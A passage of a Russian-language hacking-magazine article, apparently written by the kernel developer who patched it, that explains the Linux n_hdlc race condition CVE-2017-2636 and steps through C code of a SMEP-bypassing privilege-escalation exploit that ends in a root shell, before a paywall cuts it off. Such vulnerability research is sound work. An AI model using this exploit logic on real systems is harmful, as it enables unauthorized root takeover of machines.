Локальное повышение привилегий на атакуемой системе — это важнейший этап взлома. Эксплоит должен быть быстрым и стабильным. Но добиться этих качеств бывает не так-то просто, особенно если эксплуатируешь состояние гонки. Тем не менее это удалось сделать для уязвимости CVE-2017-2636 в ядре Linux. В данной статье будет разобран ее эксплоит, выполняющий локальное повышение привилегий с обходом Supervisor Mode Execution Protection (SMEP).
 

Введение

Итак, рассмотрим уязвимость CVE-2017-2636. Это состояние гонки (race condition) в драйвере n_hdlc (drivers/tty/n_hdlc.c), который предоставляет поддержку протокола HDLC для последовательных портов. Этот драйвер поставляется многими дистрибутивами Linux, имеющими настройку CONFIG_N_HDLC=m в конфигурационном файле ядра. Поэтому данной уязвимости оказались подвержены такие дистрибутивы, как RHEL 6/7, Fedora, SUSE, Debian и Ubuntu.

На данный момент уязвимость уже исправлена в «ванильном» ядре и публично разглашена. Ошибка была внесена довольно давно, в итоге мой патч был применен ко всем стабильным версиям Linux.

Но мы сегодня будем говорить не об исправлении уязвимости, а о ее эксплуатации. Я покажу, как работает стабильный и быстрый эксплоит для данной уязвимости. Он редко приводит к панике ядра и получает привилегии root менее чем за 20 секунд (как минимум на моих машинах), умеет обходить SMEP, однако обнаруживается с помощью Supervisor Mode Access Prevention (SMAP). Хотя и это средство защиты можно обмануть, приложив некоторые дополнительные усилия.

Забегая немного вперед, скажу, что для работы этому эксплоиту требуется базовый адрес ядра, неизвестный из-за Kernel Address Space Layout Randomization (KASLR). Но это средство защиты не стоит рассматривать как проблему — нужный адрес можно получить с помощью информационной утечки либо атакой по сторонним каналам (теория, практика). Ну а теперь обо всем по порядку.

 

Состояние гонки в n_hdlc

Исследование уязвимости началось с подозрительного отчета фаззера syzkaller. Это отличный проект, с его помощью было найдено множество ошибок в ядре Linux, и он достоин отдельного материала. Но сегодня речь не о нем.

Итак, изначально в уязвимом драйвере n_hdlc для передаваемых данных использовался самописный односвязный список буферов. При ошибке передачи данных в указатель n_hdlc.tbuf записывался адрес текущего буфера. Это работало, но в 2009 году был принят коммит be10eb75893, который добавил поддержку сброса данных и внес состояние гонки при обращении к n_hdlc.tbuf.

Если при отправке данных произошла ошибка, то в последующем функции flush_tx_queue() и n_hdlc_send_frames() обращаются к n_hdlc.tbuf и при одновременном исполнении могут дважды поместить один и тот же буфер в список tx_free_buf_list. Это приводит к двойному освобождению памяти в n_hdlc_release(). Буферы данных представлены структурой n_hdlc_buf и выделяются в slab-кеше kmalloc-8192.

 

Мой патч

Для исправления этой уязвимости я избавился от n_hdlc.tbuf, используя стандартные связные списки ядра Linux и спинлоки (spinlocks). В случае ошибки передачи данных текущий буфер помещается в начало списка tx_buf_list.

 

Эксплуатация уязвимости

Из-за чего возникает уязвимость, мы выяснили, займемся ее эксплуатацией. Давай разберем код основного цикла эксплоита. Он исполняется, пока не будут получены привилегии пользователя root.

for (;;) {
    long tmo1 = 0;
    long tmo2 = 0;

    if (loop % 2 == 0)
        tmo1 = loop % MAX_RACE_LAG_USEC;
    else
        tmo2 = loop % MAX_RACE_LAG_USEC;

Счетчик loop увеличивается каждую итерацию, изменяются и переменные tmo1 и tmo2. Они задают задержку в конкурирующих потоках исполнения, которые:

  • синхронизируются на pthread_barrier;
  • ожидают заданное количество микросекунд в холостом цикле;
  • наконец, взаимодействуют с интерфейсом драйвера n_hdlc.

Такой способ столкновения потоков исполнения позволяет скорее достичь состояния гонки.

    ptmd = open("/dev/ptmx", O_RDWR);
    if (ptmd < 0) {
        perror("[-] open /dev/ptmx");
        goto end;
    }

    ret = ioctl(ptmd, TIOCSETD, &ldisc);
    if (ret < 0) {
        perror("[-] TIOCSETD");
        goto end;
    }

Здесь мы открываем псевдотерминал (ptmd) и устанавливаем для него протокол N_HDLC. Подробную информацию об этом можешь посмотреть в man ptmx, Documentation/serial/tty.txt и данном обсуждении программных компонентов псевдотерминала.

Установка N_HDLC для последовательной линии приводит к автоматической загрузке драйвера n_hdlc, поставляемого как модуль ядра. Этот же эффект может быть достигнут и с помощью сервиса ldattach.

    ret = ioctl(ptmd, TCXONC, TCOOFF);
    if (ret < 0) {
        perror("[-] TCXONC TCOOFF");
        goto end;
    }

    bytes = write(ptmd, buf, TTY_BUF_SZ);
    if (bytes != TTY_BUF_SZ) {
        printf("[-] write to ptmx (bytes)");
        goto end;
    }

Теперь мы приостанавливаем вывод данных псевдотерминала (см. man tty_ioctl) и пишем в него один буфер. Функция n_hdlc_send_frames() не может выполнить отправку данного буфера и сохраняет его адрес в n_hdlc.tbuf.

Все готово, попытаемся воспроизвести состояние гонки. Запускаем два потока, которые могут исполняться на всех доступных ядрах процессора:

  • поток 1 сбрасывает данные псевдотерминала с помощью ioctl(ptmd, TCFLSH, TCIOFLUSH);
  • поток 2 возобновляет приостановленный вывод с помощью ioctl(ptmd, TCXONC, TCOON).

У этих потоков есть шанс дважды поместить в tx_free_buf_list тот единственный буфер, который был записан в псевдотерминал.

Теперь возвращаем исполнение эксплоита на нулевое ядро процессора и вызываем возможную ошибку двойного освобождения памяти:

    ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
    if (ret != 0) {
        perror("[-] sched_setaffinity");
        goto end;
    }

    ret = close(ptmd);
    if (ret != 0) {
        perror("[-] close /dev/ptmx");
        goto end;
    }

Мы закрыли псевдотерминал. Функция n_hdlc_release() проходит по спискам n_hdlc_buf_list и освобождает память, занятую под буферы n_hdlc_buf. Если мы выиграли гонку, то здесь должно произойти двойное освобождение памяти (double-free error).

Эта ошибка успешно обнаруживается с помощью Kernel Address Sanitizer (KASAN), который сообщает о ней как об использовании после освобождения (use-after-free), происходящем прямо перед вторым вызовом kfree().

Завершающая часть главного цикла:

    ret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS);
    if (ret != EXIT_SUCCESS)
        goto end;

    if (getuid() == 0 && geteuid() == 0) {
        printf("[+] race #%ld: WIN! flush(%ld), TCOON(%ld)",
                        loop, tmo1, tmo2);
        break; /* :) */
    }

    loop++;
}

printf("[+] finish as: uid=0, euid=0, start sh...");
run_sh();

В функции exploit_skb() мы пробуем проэксплуатировать двойное освобождение памяти с помощью перезаписи struct sk_buff. Если успешно — выходим из цикла и с помощью execve() запускаем root shell в дочернем процессе.

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


1 комментарий

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…